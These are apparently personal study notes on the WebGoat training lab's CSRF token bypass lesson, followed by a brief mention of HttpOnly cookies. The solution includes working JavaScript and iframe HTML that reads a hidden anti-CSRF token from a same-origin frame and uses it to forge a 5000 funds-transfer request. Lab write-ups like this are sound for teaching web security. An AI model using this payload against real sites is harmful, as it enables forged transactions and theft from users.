CSRF Token Bypass

Monday, October 30, 2017 10:39 PM

- Token-based request authentication mitigates CSRF attacks
- This technique inserts tokens into pages that issue requests
- These tokens are required to complete a request, and help verify that requests are not scripted
  - CSRFGuard from OWASP uses this technique to help prevent CSRF attacks
- However, this technique can be bypassed if XSS vulnerabilities exist on the same site
- Because of the same-origin browser policy, pages from the same domain can read content from other pages from the same domain

Solution

- Visit http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=main

- You can easily find a valid token in the HTML source code

```
<input name="transferFunds" type="text" value="0">
<input name="CSRFToken" type="hidden" value="-1855584383"> == $0
<input type="submit">
```

- We can load the page in an iframe and read the token out of the frame
  - This is only possible because the message originates from the same domain and does not violate the "same origin policy"
- Even though measures were taken to prevent CSRF attacks, these measures can be side-stepped because of XSS vulnerabilities

- To pull out the CSRFToken, the following JavaScript locates the frame, then the form, then saves the token

```
<script>
var tokensuffix;

function readFrame1()
{
   var frameDoc = document.getElementById("frame1").contentDocument;
   var form = frameDoc.getElementsByTagName("form")[0];
   tokensuffix = '&CSRFToken=' + form.CSRFToken.value;

   loadFrame2();
}

function loadFrame2()
{
   var testFrame = document.getElementById("frame2");
   testFrame.src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=5000" + tokensuffix;
}
</script>
```

- Function readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
- loadFrame2 will then append the token and load a 2nd frame

- The following loads the transfer page in the 1st frame:
- When it finishes loading, it will call readFrame1, which calls loadFrame2, which then sets the src for the 2nd iframe

```
<iframe src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=main"
        onload="readFrame1();"
        id="frame1" frameborder="1" marginwidth="0"
        marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
        marginheight="0" width="800" scrolling=yes height="300"></iframe>
```

HTTPOnly

- To help mitigate the XSS threat, Microsoft has introduced a new cookie attribute entitle 'HttpOnly'.
- If this flag is set browser should not allow a client-side script read or write access to the cookie
- Relatively new feature
  - Not supported on all browsers yet